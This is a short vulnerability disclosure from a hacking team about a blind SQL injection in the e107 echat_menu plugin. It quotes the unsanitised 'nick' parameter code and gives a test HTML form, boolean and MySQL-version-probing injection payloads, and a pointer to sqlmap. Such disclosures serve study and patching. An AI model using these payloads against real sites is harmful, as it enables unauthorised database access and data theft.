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e107 Plugin echat MENU Blind SQL Injection Vulnerability



            
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  #               ::e107 Plugin echat MENU  Blind SQL Injection Vulnerability::                    #
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Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) 

-------vuln codes in:-----------
e107chat.php:
line 109:	$nick = $_POST['nick'];
..
..
line 171:db_Select("user","user_name","user_name='".$nick."'");
---
exploit:
[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(
---
lets test the bug white a simply html form that post data to "e107chat.php" :
-------
<form method="post" action="http://localhost/e107/plugins/echat_menu/e107chat.php";><br>
nick:<input type="text" name="nick" size="20">
<br><input type="submit"><br>
</form>
---
see the result:

nick: hadi and 1=1--         #page loaded whit any errors.
nick: hadi and 1=2--         #page loaded whit any data and some error



cheking the mysql version:

nick: hadi and substring(@@version,1,1)=5--
or 
nick: hadi and substring(@@version,1,1)=4--

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...
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young iranian h4ck3rz